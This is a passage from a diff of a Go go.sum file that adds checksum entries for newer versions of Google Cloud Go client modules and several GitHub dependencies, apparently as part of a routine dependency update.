v1.6.0/go.mod h1:+yETpm25mcoiECKh9DEScGzIRyDKpZ0cEhWGo+8bo+c= cloud.google.com/go/recommender v1.7.0/go.mod h1:XLHs/W+T8olwlGOgfQenXBTbIseGclClff6lhFVe9Bs= cloud.google.com/go/recommender v1.8.0/go.mod h1:PkjXrTT05BFKwxaUxQmtIlrtj0kph108r02ZZQ5FE70= +cloud.google.com/go/recommender v1.9.0/go.mod h1:PnSsnZY7q+VL1uax2JWkt/UegHssxjUVVCrX52CuEmQ= cloud.google.com/go/redis v1.7.0/go.mod h1:V3x5Jq1jzUcg+UNsRvdmsfuFnit1cfe3Z/PGyq/lm4Y= cloud.google.com/go/redis v1.8.0/go.mod h1:Fm2szCDavWzBk2cDKxrkmWBqoCiL1+Ctwq7EyqBCA/A= cloud.google.com/go/redis v1.9.0/go.mod h1:HMYQuajvb2D0LvMgZmLDZW8V5aOC/WxstZHiy4g8OiA= cloud.google.com/go/redis v1.10.0/go.mod h1:ThJf3mMBQtW18JzGgh41/Wld6vnDDc/F/F35UolRZPM= +cloud.google.com/go/redis v1.11.0/go.mod h1:/X6eicana+BWcUda5PpwZC48o37SiFVTFSs0fWAJ7uQ= cloud.google.com/go/resourcemanager v1.3.0/go.mod h1:bAtrTjZQFJkiWTPDb1WBjzvc6/kifjj4QBYuKCCoqKA= cloud.google.com/go/resourcemanager v1.4.0/go.mod h1:MwxuzkumyTX7/a3n37gmsT3py7LIXwrShilPh3P1tR0= +cloud.google.com/go/resourcemanager v1.5.0/go.mod h1:eQoXNAiAvCf5PXxWxXjhKQoTMaUSNrEfg+6qdf/wots= +cloud.google.com/go/resourcemanager v1.6.0/go.mod h1:YcpXGRs8fDzcUl1Xw8uOVmI8JEadvhRIkoXXUNVYcVo= +cloud.google.com/go/resourcemanager v1.7.0/go.mod h1:HlD3m6+bwhzj9XCouqmeiGuni95NTrExfhoSrkC/3EI= cloud.google.com/go/resourcesettings v1.3.0/go.mod h1:lzew8VfESA5DQ8gdlHwMrqZs1S9V87v3oCnKCWoOuQU= cloud.google.com/go/resourcesettings v1.4.0/go.mod h1:ldiH9IJpcrlC3VSuCGvjR5of/ezRrOxFtpJoJo5SmXg= +cloud.google.com/go/resourcesettings v1.5.0/go.mod h1:+xJF7QSG6undsQDfsCJyqWXyBwUoJLhetkRMDRnIoXA= cloud.google.com/go/retail v1.8.0/go.mod h1:QblKS8waDmNUhghY2TI9O3JLlFk8jybHeV4BF19FrE4= cloud.google.com/go/retail v1.9.0/go.mod h1:g6jb6mKuCS1QKnH/dpu7isX253absFl6iE92nHwlBUY= cloud.google.com/go/retail v1.10.0/go.mod h1:2gDk9HsL4HMS4oZwz6daui2/jmKvqShXKQuB2RZ+cCc= cloud.google.com/go/retail v1.11.0/go.mod h1:MBLk1NaWPmh6iVFSz9MeKG/Psyd7TAgm6y/9L2B4x9Y= +cloud.google.com/go/retail v1.12.0/go.mod h1:UMkelN/0Z8XvKymXFbD4EhFJlYKRx1FGhQkVPU5kF14= cloud.google.com/go/run v0.2.0/go.mod h1:CNtKsTA1sDcnqqIFR3Pb5Tq0usWxJJvsWOCPldRU3Do= cloud.google.com/go/run v0.3.0/go.mod h1:TuyY1+taHxTjrD0ZFk2iAR+xyOXEA0ztb7U3UNA0zBo= +cloud.google.com/go/run v0.8.0/go.mod h1:VniEnuBwqjigv0A7ONfQUaEItaiCRVujlMqerPPiktM= +cloud.google.com/go/run v0.9.0/go.mod h1:Wwu+/vvg8Y+JUApMwEDfVfhetv30hCG4ZwDR/IXl2Qg= cloud.google.com/go/scheduler v1.4.0/go.mod h1:drcJBmxF3aqZJRhmkHQ9b3uSSpQoltBPGPxGAWROx6s= cloud.google.com/go/scheduler v1.5.0/go.mod h1:ri073ym49NW3AfT6DZi21vLZrG07GXr5p3H1KxN5QlI= cloud.google.com/go/scheduler v1.6.0/go.mod h1:SgeKVM7MIwPn3BqtcBntpLyrIJftQISRrYB5ZtT+KOk= cloud.google.com/go/scheduler v1.7.0/go.mod h1:jyCiBqWW956uBjjPMMuX09n3x37mtyPJegEWKxRsn44= +cloud.google.com/go/scheduler v1.8.0/go.mod h1:TCET+Y5Gp1YgHT8py4nlg2Sew8nUHMqcpousDgXJVQc= +cloud.google.com/go/scheduler v1.9.0/go.mod h1:yexg5t+KSmqu+njTIh3b7oYPheFtBWGcbVUYF1GGMIc= cloud.google.com/go/secretmanager v1.6.0/go.mod h1:awVa/OXF6IiyaU1wQ34inzQNc4ISIDIrId8qE5QGgKA= cloud.google.com/go/secretmanager v1.8.0/go.mod h1:hnVgi/bN5MYHd3Gt0SPuTPPp5ENina1/LxM+2W9U9J4= cloud.google.com/go/secretmanager v1.9.0/go.mod h1:b71qH2l1yHmWQHt9LC80akm86mX8AL6X1MA01dW8ht4= +cloud.google.com/go/secretmanager v1.10.0/go.mod h1:MfnrdvKMPNra9aZtQFvBcvRU54hbPD8/HayQdlUgJpU= cloud.google.com/go/security v1.5.0/go.mod h1:lgxGdyOKKjHL4YG3/YwIL2zLqMFCKs0UbQwgyZmfJl4= cloud.google.com/go/security v1.7.0/go.mod h1:mZklORHl6Bg7CNnnjLH//0UlAlaXqiG7Lb9PsPXLfD0= cloud.google.com/go/security v1.8.0/go.mod h1:hAQOwgmaHhztFhiQ41CjDODdWP0+AE1B3sX4OFlq+GU= cloud.google.com/go/security v1.9.0/go.mod h1:6Ta1bO8LXI89nZnmnsZGp9lVoVWXqsVbIq/t9dzI+2Q= cloud.google.com/go/security v1.10.0/go.mod h1:QtOMZByJVlibUT2h9afNDWRZ1G96gVywH8T5GUSb9IA= +cloud.google.com/go/security v1.12.0/go.mod h1:rV6EhrpbNHrrxqlvW0BWAIawFWq3X90SduMJdFwtLB8= +cloud.google.com/go/security v1.13.0/go.mod h1:Q1Nvxl1PAgmeW0y3HTt54JYIvUdtcpYKVfIB8AOMZ+0= cloud.google.com/go/securitycenter v1.13.0/go.mod h1:cv5qNAqjY84FCN6Y9z28WlkKXyWsgLO832YiWwkCWcU= cloud.google.com/go/securitycenter v1.14.0/go.mod h1:gZLAhtyKv85n52XYWt6RmeBdydyxfPeTrpToDPw4Auc= cloud.google.com/go/securitycenter v1.15.0/go.mod h1:PeKJ0t8MoFmmXLXWm41JidyzI3PJjd8sXWaVqg43WWk= cloud.google.com/go/securitycenter v1.16.0/go.mod h1:Q9GMaLQFUD+5ZTabrbujNWLtSLZIZF7SAR0wWECrjdk= +cloud.google.com/go/securitycenter v1.18.1/go.mod h1:0/25gAzCM/9OL9vVx4ChPeM/+DlfGQJDwBy/UC8AKK0= +cloud.google.com/go/securitycenter v1.19.0/go.mod h1:LVLmSg8ZkkyaNy4u7HCIshAngSQ8EcIRREP3xBnyfag= cloud.google.com/go/servicecontrol v1.4.0/go.mod h1:o0hUSJ1TXJAmi/7fLJAedOovnujSEvjKCAFNXPQ1RaU= cloud.google.com/go/servicecontrol v1.5.0/go.mod h1:qM0CnXHhyqKVuiZnGKrIurvVImCs8gmqWsDoqe9sU1s= +cloud.google.com/go/servicecontrol v1.10.0/go.mod h1:pQvyvSRh7YzUF2efw7H87V92mxU8FnFDawMClGCNuAA= +cloud.google.com/go/servicecontrol v1.11.0/go.mod h1:kFmTzYzTUIuZs0ycVqRHNaNhgR+UMUpw9n02l/pY+mc= +cloud.google.com/go/servicecontrol v1.11.1/go.mod h1:aSnNNlwEFBY+PWGQ2DoM0JJ/QUXqV5/ZD9DOLB7SnUk= cloud.google.com/go/servicedirectory v1.4.0/go.mod h1:gH1MUaZCgtP7qQiI+F+A+OpeKF/HQWgtAddhTbhL2bs= cloud.google.com/go/servicedirectory v1.5.0/go.mod h1:QMKFL0NUySbpZJ1UZs3oFAmdvVxhhxB6eJ/Vlp73dfg= cloud.google.com/go/servicedirectory v1.6.0/go.mod h1:pUlbnWsLH9c13yGkxCmfumWEPjsRs1RlmJ4pqiNjVL4= cloud.google.com/go/servicedirectory v1.7.0/go.mod h1:5p/U5oyvgYGYejufvxhgwjL8UVXjkuw7q5XcG10wx1U= +cloud.google.com/go/servicedirectory v1.8.0/go.mod h1:srXodfhY1GFIPvltunswqXpVxFPpZjf8nkKQT7XcXaY= +cloud.google.com/go/servicedirectory v1.9.0/go.mod h1:29je5JjiygNYlmsGz8k6o+OZ8vd4f//bQLtvzkPPT/s= cloud.google.com/go/servicemanagement v1.4.0/go.mod h1:d8t8MDbezI7Z2R1O/wu8oTggo3BI2GKYbdG4y/SJTco= cloud.google.com/go/servicemanagement v1.5.0/go.mod h1:XGaCRe57kfqu4+lRxaFEAuqmjzF0r+gWHjWqKqBvKFo= +cloud.google.com/go/servicemanagement v1.6.0/go.mod h1:aWns7EeeCOtGEX4OvZUWCCJONRZeFKiptqKf1D0l/Jc= +cloud.google.com/go/servicemanagement v1.8.0/go.mod h1:MSS2TDlIEQD/fzsSGfCdJItQveu9NXnUniTrq/L8LK4= cloud.google.com/go/serviceusage v1.3.0/go.mod h1:Hya1cozXM4SeSKTAgGXgj97GlqUvF5JaoXacR1JTP/E= cloud.google.com/go/serviceusage v1.4.0/go.mod h1:SB4yxXSaYVuUBYUml6qklyONXNLt83U0Rb+CXyhjEeU= +cloud.google.com/go/serviceusage v1.5.0/go.mod h1:w8U1JvqUqwJNPEOTQjrMHkw3IaIFLoLsPLvsE3xueec= +cloud.google.com/go/serviceusage v1.6.0/go.mod h1:R5wwQcbOWsyuOfbP9tGdAnCAc6B9DRwPG1xtWMDeuPA= cloud.google.com/go/shell v1.3.0/go.mod h1:VZ9HmRjZBsjLGXusm7K5Q5lzzByZmJHf1d0IWHEN5X4= cloud.google.com/go/shell v1.4.0/go.mod h1:HDxPzZf3GkDdhExzD/gs8Grqk+dmYcEjGShZgYa9URw= +cloud.google.com/go/shell v1.6.0/go.mod h1:oHO8QACS90luWgxP3N9iZVuEiSF84zNyLytb+qE2f9A= cloud.google.com/go/spanner v1.41.0/go.mod h1:MLYDBJR/dY4Wt7ZaMIQ7rXOTLjYrmxLE/5ve9vFfWos= +cloud.google.com/go/spanner v1.44.0/go.mod h1:G8XIgYdOK+Fbcpbs7p2fiprDw4CaZX63whnSMLVBxjk= +cloud.google.com/go/spanner v1.45.0/go.mod h1:FIws5LowYz8YAE1J8fOS7DJup8ff7xJeetWEo5REA2M= cloud.google.com/go/speech v1.6.0/go.mod h1:79tcr4FHCimOp56lwC01xnt/WPJZc4v3gzyT7FoBkCM= cloud.google.com/go/speech v1.7.0/go.mod h1:KptqL+BAQIhMsj1kOP2la5DSEEerPDuOP/2mmkhHhZQ= cloud.google.com/go/speech v1.8.0/go.mod h1:9bYIl1/tjsAnMgKGHKmBZzXKEkGgtU+MpdDPTE9f7y0= cloud.google.com/go/speech v1.9.0/go.mod h1:xQ0jTcmnRFFM2RfX/U+rk6FQNUF6DQlydUSyoooSpco= +cloud.google.com/go/speech v1.14.1/go.mod h1:gEosVRPJ9waG7zqqnsHpYTOoAS4KouMRLDFMekpJ0J0= +cloud.google.com/go/speech v1.15.0/go.mod h1:y6oH7GhqCaZANH7+Oe0BhgIogsNInLlz542tg3VqeYI= cloud.google.com/go/storage v1.0.0/go.mod h1:IhtSnM/ZTZV8YYJWCY8RULGVqBDmpoyjwiyrjsg+URw= cloud.google.com/go/storage v1.5.0/go.mod h1:tpKbwo567HUNpVclU5sGELwQWBDZ8gh0ZeosJ0Rtdos= cloud.google.com/go/storage v1.6.0/go.mod h1:N7U0C8pVQ/+NIKOBQyamJIeKQKkZ+mxpohlUTyfDhBk= @@ -346,50 +521,80 @@ cloud.google.com/go/storage v1.10.0/go.mod h1:FLPqc6j+Ki4BU591ie1oL6qBQGu2Bl/tZ9 cloud.google.com/go/storage v1.22.1/go.mod h1:S8N1cAStu7BOeFfE8KAQzmyyLkK8p/vmRq6kuBTW58Y= cloud.google.com/go/storage v1.23.0/go.mod h1:vOEEDNFnciUMhBeT6hsJIn3ieU5cFRmzeLgDvXzfIXc= cloud.google.com/go/storage v1.27.0/go.mod h1:x9DOL8TK/ygDUMieqwfhdpQryTeEkhGKMi80i/iqR2s= +cloud.google.com/go/storage v1.28.1/go.mod h1:Qnisd4CqDdo6BGs2AD5LLnEsmSQ80wQ5ogcBBKhU86Y= +cloud.google.com/go/storage v1.29.0/go.mod h1:4puEjyTKnku6gfKoTfNOU/W+a9JyuVNxjpS5GBrB8h4= cloud.google.com/go/storagetransfer v1.5.0/go.mod h1:dxNzUopWy7RQevYFHewchb29POFv3/AaBgnhqzqiK0w= cloud.google.com/go/storagetransfer v1.6.0/go.mod h1:y77xm4CQV/ZhFZH75PLEXY0ROiS7Gh6pSKrM8dJyg6I= +cloud.google.com/go/storagetransfer v1.7.0/go.mod h1:8Giuj1QNb1kfLAiWM1bN6dHzfdlDAVC9rv9abHot2W4= +cloud.google.com/go/storagetransfer v1.8.0/go.mod h1:JpegsHHU1eXg7lMHkvf+KE5XDJ7EQu0GwNJbbVGanEw= cloud.google.com/go/talent v1.1.0/go.mod h1:Vl4pt9jiHKvOgF9KoZo6Kob9oV4lwd/ZD5Cto54zDRw= cloud.google.com/go/talent v1.2.0/go.mod h1:MoNF9bhFQbiJ6eFD3uSsg0uBALw4n4gaCaEjBw9zo8g= cloud.google.com/go/talent v1.3.0/go.mod h1:CmcxwJ/PKfRgd1pBjQgU6W3YBwiewmUzQYH5HHmSCmM= cloud.google.com/go/talent v1.4.0/go.mod h1:ezFtAgVuRf8jRsvyE6EwmbTK5LKciD4KVnHuDEFmOOA= +cloud.google.com/go/talent v1.5.0/go.mod h1:G+ODMj9bsasAEJkQSzO2uHQWXHHXUomArjWQQYkqK6c= cloud.google.com/go/texttospeech v1.4.0/go.mod h1:FX8HQHA6sEpJ7rCMSfXuzBcysDAuWusNNNvN9FELDd8= cloud.google.com/go/texttospeech v1.5.0/go.mod h1:oKPLhR4n4ZdQqWKURdwxMy0uiTS1xU161C8W57Wkea4= +cloud.google.com/go/texttospeech v1.6.0/go.mod h1:YmwmFT8pj1aBblQOI3TfKmwibnsfvhIBzPXcW4EBovc= cloud.google.com/go/tpu v1.3.0/go.mod h1:aJIManG0o20tfDQlRIej44FcwGGl/cD0oiRyMKG19IQ= cloud.google.com/go/tpu v1.4.0/go.mod h1:mjZaX8p0VBgllCzF6wcU2ovUXN9TONFLd7iz227X2Xg= +cloud.google.com/go/tpu v1.5.0/go.mod h1:8zVo1rYDFuW2l4yZVY0R0fb/v44xLh3llq7RuV61fPM= cloud.google.com/go/trace v1.3.0/go.mod h1:FFUE83d9Ca57C+K8rDl/Ih8LwOzWIV1krKgxg6N0G28= cloud.google.com/go/trace v1.4.0/go.mod h1:UG0v8UBqzusp+z63o7FK74SdFE+AXpCLdFb1rshXG+Y= +cloud.google.com/go/trace v1.8.0/go.mod h1:zH7vcsbAhklH8hWFig58HvxcxyQbaIqMarMg9hn5ECA= +cloud.google.com/go/trace v1.9.0/go.mod h1:lOQqpE5IaWY0Ixg7/r2SjixMuc6lfTFeO4QGM4dQWOk= cloud.google.com/go/translate v1.3.0/go.mod h1:gzMUwRjvOqj5i69y/LYLd8RrNQk+hOmIXTi9+nb3Djs= cloud.google.com/go/translate v1.4.0/go.mod h1:06Dn/ppvLD6WvA5Rhdp029IX2Mi3Mn7fpMRLPvXT5Wg= +cloud.google.com/go/translate v1.5.0/go.mod h1:29YDSYveqqpA1CQFD7NQuP49xymq17RXNaUDdc0mNu0= +cloud.google.com/go/translate v1.6.0/go.mod h1:lMGRudH1pu7I3n3PETiOB2507gf3HnfLV8qlkHZEyos= +cloud.google.com/go/translate v1.7.0/go.mod h1:lMGRudH1pu7I3n3PETiOB2507gf3HnfLV8qlkHZEyos= cloud.google.com/go/video v1.8.0/go.mod h1:sTzKFc0bUSByE8Yoh8X0mn8bMymItVGPfTuUBUyRgxk= cloud.google.com/go/video v1.9.0/go.mod h1:0RhNKFRF5v92f8dQt0yhaHrEuH95m068JYOvLZYnJSw= +cloud.google.com/go/video v1.12.0/go.mod h1:MLQew95eTuaNDEGriQdcYn0dTwf9oWiA4uYebxM5kdg= +cloud.google.com/go/video v1.13.0/go.mod h1:ulzkYlYgCp15N2AokzKjy7MQ9ejuynOJdf1tR5lGthk= +cloud.google.com/go/video v1.14.0/go.mod h1:SkgaXwT+lIIAKqWAJfktHT/RbgjSuY6DobxEp0C5yTQ= +cloud.google.com/go/video v1.15.0/go.mod h1:SkgaXwT+lIIAKqWAJfktHT/RbgjSuY6DobxEp0C5yTQ= cloud.google.com/go/videointelligence v1.6.0/go.mod h1:w0DIDlVRKtwPCn/C4iwZIJdvC69yInhW0cfi+p546uU= cloud.google.com/go/videointelligence v1.7.0/go.mod h1:k8pI/1wAhjznARtVT9U1llUaFNPh7muw8QyOUpavru4= cloud.google.com/go/videointelligence v1.8.0/go.mod h1:dIcCn4gVDdS7yte/w+koiXn5dWVplOZkE+xwG9FgK+M= cloud.google.com/go/videointelligence v1.9.0/go.mod h1:29lVRMPDYHikk3v8EdPSaL8Ku+eMzDljjuvRs105XoU= +cloud.google.com/go/videointelligence v1.10.0/go.mod h1:LHZngX1liVtUhZvi2uNS0VQuOzNi2TkY1OakiuoUOjU= cloud.google.com/go/vision v1.2.0/go.mod h1:SmNwgObm5DpFBme2xpyOyasvBc1aPdjvMk2bBk0tKD0= cloud.google.com/go/vision/v2 v2.2.0/go.mod h1:uCdV4PpN1S0jyCyq8sIM42v2Y6zOLkZs+4R9LrGYwFo= cloud.google.com/go/vision/v2 v2.3.0/go.mod h1:UO61abBx9QRMFkNBbf1D8B1LXdS2cGiiCRx0vSpZoUo= cloud.google.com/go/vision/v2 v2.4.0/go.mod h1:VtI579ll9RpVTrdKdkMzckdnwMyX2JILb+MhPqRbPsY= cloud.google.com/go/vision/v2 v2.5.0/go.mod h1:MmaezXOOE+IWa+cS7OhRRLK2cNv1ZL98zhqFFZaaH2E= +cloud.google.com/go/vision/v2 v2.6.0/go.mod h1:158Hes0MvOS9Z/bDMSFpjwsUrZ5fPrdwuyyvKSGAGMY= +cloud.google.com/go/vision/v2 v2.7.0/go.mod h1:H89VysHy21avemp6xcf9b9JvZHVehWbET0uT/bcuY/0= cloud.google.com/go/vmmigration v1.2.0/go.mod h1:IRf0o7myyWFSmVR1ItrBSFLFD/rJkfDCUTO4vLlJvsE= cloud.google.com/go/vmmigration v1.3.0/go.mod h1:oGJ6ZgGPQOFdjHuocGcLqX4lc98YQ7Ygq8YQwHh9A7g= +cloud.google.com/go/vmmigration v1.5.0/go.mod h1:E4YQ8q7/4W9gobHjQg4JJSgXXSgY21nA5r8swQV+Xxc= +cloud.google.com/go/vmmigration v1.6.0/go.mod h1:bopQ/g4z+8qXzichC7GW1w2MjbErL54rk3/C843CjfY= cloud.google.com/go/vmwareengine v0.1.0/go.mod h1:RsdNEf/8UDvKllXhMz5J40XxDrNJNN4sagiox+OI208= +cloud.google.com/go/vmwareengine v0.2.2/go.mod h1:sKdctNJxb3KLZkE/6Oui94iw/xs9PRNC2wnNLXsHvH8= +cloud.google.com/go/vmwareengine v0.3.0/go.mod h1:wvoyMvNWdIzxMYSpH/R7y2h5h3WFkx6d+1TIsP39WGY= cloud.google.com/go/vpcaccess v1.4.0/go.mod h1:aQHVbTWDYUR1EbTApSVvMq1EnT57ppDmQzZ3imqIk4w= cloud.google.com/go/vpcaccess v1.5.0/go.mod h1:drmg4HLk9NkZpGfCmZ3Tz0Bwnm2+DKqViEpeEpOq0m8= +cloud.google.com/go/vpcaccess v1.6.0/go.mod h1:wX2ILaNhe7TlVa4vC5xce1bCnqE3AeH27RV31lnmZes= cloud.google.com/go/webrisk v1.4.0/go.mod h1:Hn8X6Zr+ziE2aNd8SliSDWpEnSS1u4R9+xXZmFiHmGE= cloud.google.com/go/webrisk v1.5.0/go.mod h1:iPG6fr52Tv7sGk0H6qUFzmL3HHZev1htXuWDEEsqMTg= cloud.google.com/go/webrisk v1.6.0/go.mod h1:65sW9V9rOosnc9ZY7A7jsy1zoHS5W9IAXv6dGqhMQMc= cloud.google.com/go/webrisk v1.7.0/go.mod h1:mVMHgEYH0r337nmt1JyLthzMr6YxwN1aAIEc2fTcq7A= +cloud.google.com/go/webrisk v1.8.0/go.mod h1:oJPDuamzHXgUc+b8SiHRcVInZQuybnvEW72PqTc7sSg= cloud.google.com/go/websecurityscanner v1.3.0/go.mod h1:uImdKm2wyeXQevQJXeh8Uun/Ym1VqworNDlBXQevGMo= cloud.google.com/go/websecurityscanner v1.4.0/go.mod h1:ebit/Fp0a+FWu5j4JOmJEV8S8CzdTkAS77oDsiSqYWQ= +cloud.google.com/go/websecurityscanner v1.5.0/go.mod h1:Y6xdCPy81yi0SQnDY1xdNTNpfY1oAgXUlcfN3B3eSng= cloud.google.com/go/workflows v1.6.0/go.mod h1:6t9F5h/unJz41YqfBmqSASJSXccBLtD1Vwf+KmJENM0= cloud.google.com/go/workflows v1.7.0/go.mod h1:JhSrZuVZWuiDfKEFxU0/F1PQjmpnpcoISEXH2bcHC3M= cloud.google.com/go/workflows v1.8.0/go.mod h1:ysGhmEajwZxGn1OhGOGKsTXc5PyxOc0vfKf5Af+to4M= cloud.google.com/go/workflows v1.9.0/go.mod h1:ZGkj1aFIOd9c8Gerkjjq7OW7I5+l6cSvT3ujaO/WwSA= +cloud.google.com/go/workflows v1.10.0/go.mod h1:fZ8LmRmZQWacon9UCX1r/g/DfAXx5VcPALq2CxzdePw= dmitri.shuralyov.com/gpu/mtl v0.0.0-20190408044501-666a987793e9/go.mod h1:H6x//7gZCb22OMCxBHrMx7a5I7Hp++hsVxbQ4BYO7hU= +gioui.org v0.0.0-20210308172011-57750fc8a0a6/go.mod h1:RSH6KIUZ0p2xy5zHDxgAM4zumjgTw83q2ge/PI+yyw8= +git.sr.ht/~sbinet/gg v0.3.1/go.mod h1:KGYtlADtqsqANL9ueOFkWymvzUvLMQllU5Ixo+8v3pc= github.com/BurntSushi/toml v0.3.1/go.mod h1:xHWCNGjB5oqiDr8zfno3MHue2Ht5sIBksp03qcyfWMU= github.com/BurntSushi/xgb v0.0.0-20160522181843-27f122750802/go.mod h1:IVnqGOEym/WlBOVXweHU+Q+/VP0lqqI8lqeDx9IjBqo= github.com/DataDog/datadog-go v3.2.0+incompatible/go.mod h1:LButxg5PwREeZtORoXG3tL4fMGNddJ+vMq1mwgfaqoQ= +github.com/JohnCGriffin/overflow v0.0.0-20211019200055-46fa312c352c/go.mod h1:X0CRv0ky0k6m906ixxpzmDRLvX58TFUKS2eePweuyxk= github.com/Masterminds/goutils v1.1.1 h1:5nUrii3FMTL5diU80unEVvNevw1nH4+ZV4DSLVJLSYI= github.com/Masterminds/goutils v1.1.1/go.mod h1:8cTjp+g8YejhMuvIA5y2vz3BpJxksy863GQaJW2MFNU= github.com/Masterminds/semver v1.4.2/go.mod h1:MB6lktGJrhw8PrUyiEoblNEGEQ+RzHPF078ddwwvV3Y= @@ -408,13 +613,21 @@ github.com/aead/chacha20poly1305 v0.0.0-20201124145622-1a5aba2a8b29 h1:1DcvRPZOd github.com/aead/chacha20poly1305 v0.0.0-20201124145622-1a5aba2a8b29/go.mod h1:UzH9IX1MMqOcwhoNOIjmTQeAxrFgzs50j4golQtXXxU= github.com/aead/poly1305 v0.0.0-20180717145839-3fee0db0b635 h1:52m0LGchQBBVqJRyYYufQuIbVqRawmubW3OFGqK1ekw= github.com/aead/poly1305 v0.0.0-20180717145839-3fee0db0b635/go.mod h1:lmLxL+FV291OopO93Bwf9fQLQeLyt33VJRUg5VJ30us= +github.com/ajstarks/deck v0.0.0-20200831202436-30c9fc6549a9/go.mod h1:JynElWSGnm/4RlzPXRlREEwqTHAN3T56Bv2ITsFT3gY= +github.com/ajstarks/deck/generate v0.0.0-20210309230005-c3f852c02e19/go.mod h1:T13YZdzov6OU0A1+RfKZiZN9ca6VeKdBdyDV+BY97Tk= +github.com/ajstarks/svgo v0.0.0-20180226025133-644b8db467af/go.mod h1:K08gAheRH3/J6wwsYMMT4xOr94bZjxIelGM0+d/wbFw= +github.com/ajstarks/svgo v0.0.0-20211024235047-1546f124cd8b/go.mod h1:1KcenG0jGWcpt8ov532z81sp/kMMUG485J2InIOyADM= github.com/alecthomas/template v0.0.0-20160405071501-a0175ee3bccc/go.mod h1:LOuyumcjzFXgccqObfd/Ljyb9UuFJ6TxHnclSeseNhc= github.com/alecthomas/template v0.0.0-20190718012654-fb15b899a751/go.mod h1:LOuyumcjzFXgccqObfd/Ljyb9UuFJ6TxHnclSeseNhc= github.com/alecthomas/units v0.0.0-20151022065526-2efee857e7cf/go.mod h1:ybxpYRFXyAe+OPACYpWeL0wqObRcbAqCMya13uyzqw0= github.com/alecthomas/units v0.0.0-20190717042225-c3de453c63f4/go.mod h1:ybxpYRFXyAe+OPACYpWeL0wqObRcbAqCMya13uyzqw0= github.com/alecthomas/units v0.0.0-20190924025748-f65c72e2690d/go.mod h1:rBZYJk541a8SKzHPHnH3zbiI+7dagKZ0cgpgrD7Fyho= +github.com/andybalholm/brotli v1.0.4/go.mod h1:fO7iG3H7G2nSZ7m0zPUDn85XEX2GTukHGRSepvi9Eig= github.com/antihax/optional v1.0.0/go.mod h1:uupD/76wgC+ih3iEmQUL+0Ugr19nfwCT1kdvxnR2qWY= github.com/aokoli/goutils v1.0.1/go.mod h1:SijmP0QR8LtwsmDs8Yii5Z/S4trXFGFC2oO5g9DP+DQ= +github.com/apache/arrow/go/v10 v10.0.1/go.mod h1:YvhnlEePVnBS4+0z3fhPfUy7W1Ikj0Ih0vcRo/gZ1M0= +github.com/apache/arrow/go/v11 v11.0.0/go.mod h1:Eg5OsL5H+e299f7u5ssuXsuHQVEGC4xei5aX110hRiI= +github.com/apache/thrift v0.16.0/go.mod h1:PHK3hniurgQaNMZYaCLEqXKsYK8upmhPbmdP2FXSqgU= github.com/armon/circbuf v0.0.0-20150827004946-bbbad097214e/go.mod h1:3U/XgcO3hCbHZ8TKRvWD2dDTCfh9M9ya+I9JpbB7O8o= github.com/armon/consul-api v0.0.0-20180202201655-eb2c6b5be1b6/go.mod h1:grANhF5doyWs3UAsr3K4I6qtAmlQcZDesFNEHPZAzj8= github.com/armon/go-metrics v0.0.0-20180917152333-f0300d1749da/go.mod h1:Q73ZrmVTwzkszR9V5SSuryQ31EELlFMUz1kKyl939pY= @@ -427,6 +640,8 @@ github.com/beorn7/perks v1.0.0/go.mod h1:KWe93zE9D1o94FZ5RNwFwVgaQK1VOXiVxmqh+Ce github.com/beorn7/perks v1.0.1 h1:VlbKKnNfV8bJzeqoa4cOKqO6bYr3WgKZxO8Z16+hsOM= github.com/beorn7/perks v1.0.1/go.mod h1:G2ZrVWU2WbWT9wwq4/hrbKbnv/1ERSJQ0ibhJ6rlkpw= github.com/bgentry/speakeasy v0.1.0/go.mod h1:+zsyZBPWlz7T6j88CTgSN5bM796AkVf0kBD4zp0CCIs= +github.com/boombuler/barcode v1.0.0/go.mod h1:paBWMcWSl3LHKBqUq+rly7CNSldXjb2rDl3JlRe0mD8= +github.com/boombuler/barcode v1.0.1/go.mod h1:paBWMcWSl3LHKBqUq+rly7CNSldXjb2rDl3JlRe0mD8= github.com/census-instrumentation/opencensus-proto v0.2.1/go.mod h1:f6KPmirojxKA12rnyqOA5BBL4O983OfeGPqjHWSTneU= github.com/census-instrumentation/opencensus-proto v0.3.0/go.mod h1:f6KPmirojxKA12rnyqOA5BBL4O983OfeGPqjHWSTneU= github.com/census-instrumentation/opencensus-proto v0.4.1/go.mod h1:4T9NM4+4Vw91VeyqjLS6ao50K5bOcLKN6Q42XnYaRYw= @@ -454,6 +669,7 @@ github.com/cncf/xds/go v0.0.0-20211001041855-01bcc9b48dfe/go.mod h1:eXthEFrGJvWH github.com/cncf/xds/go v0.0.0-20211011173535-cb28da3451f1/go.mod h1:eXthEFrGJvWHgFFCl3hGmgk+/aYT6PnTQLykKQRLhEs= github.com/cncf/xds/go v0.0.0-20220314180256-7f1daf1720fc/go.mod h1:eXthEFrGJvWHgFFCl3hGmgk+/aYT6PnTQLykKQRLhEs= github.com/cncf/xds/go v0.0.0-20230105202645-06c439db220b/go.mod h1:eXthEFrGJvWHgFFCl3hGmgk+/aYT6PnTQLykKQRLhEs= +github.com/cncf/xds/go v0.0.0-20230310173818-32f1caf87195/go.mod h1:eXthEFrGJvWHgFFCl3hGmgk+/aYT6PnTQLykKQRLhEs= github.com/cockroachdb/apd v1.1.0 h1:3LFP3629v+1aKXU5Q37mxmRxX/pIu1nijXydLShEq5I= github.com/cockroachdb/apd v1.1.0/go.mod h1:8Sl8LxpKi29FqWXR16WEFZRNSz3SoPzUzeMeY4+DwBQ= github.com/codenotary/daemon v0.0.0-20200507161650-3d4bcb5230f4 h1:5mhTmqO2f6QXPlIAGCEtCYR2MHNDLVkwaGWiSbffeQU= @@ -485,6 +701,7 @@ github.com/dgrijalva/jwt-go v3.2.0+incompatible/go.mod h1:E3ru+11k8xSBh+hMPgOLZm github.com/dgryski/go-farm v0.0.0-20190423205320-6a90982ecee2 h1:tdlZCpZ/P9DhczCTSixgIKmwPv6+wP5DGjqLYw5SUiA= github.com/dgryski/go-farm v0.0.0-20190423205320-6a90982ecee2/go.mod h1:SqUrOPUnsFjfmXRMNPybcSiG0BgUW2AuFH8PAnS2iTw= github.com/dgryski/go-sip13 v0.0.0-20181026042036-e10d5fee7954/go.mod h1:vAd38F8PWV+bWy6jNmig1y/TA+kYO4g3RSRF0IAv0no= +github.com/docopt/docopt-go v0.0.0-20180111231733-ee0de3bc6815/go.mod h1:WwZ+bS3ebgob9U8Nd0kOddGdZWjyMGR8Wziv+TBNwSE= github.com/dustin/go-humanize v1.0.0/go.mod h1:HtrtbFcZ19U5GC7JDqmcUSB87Iq5E25KnS6fMYU6eOk= github.com/envoyproxy/go-control-plane v0.9.0/go.mod 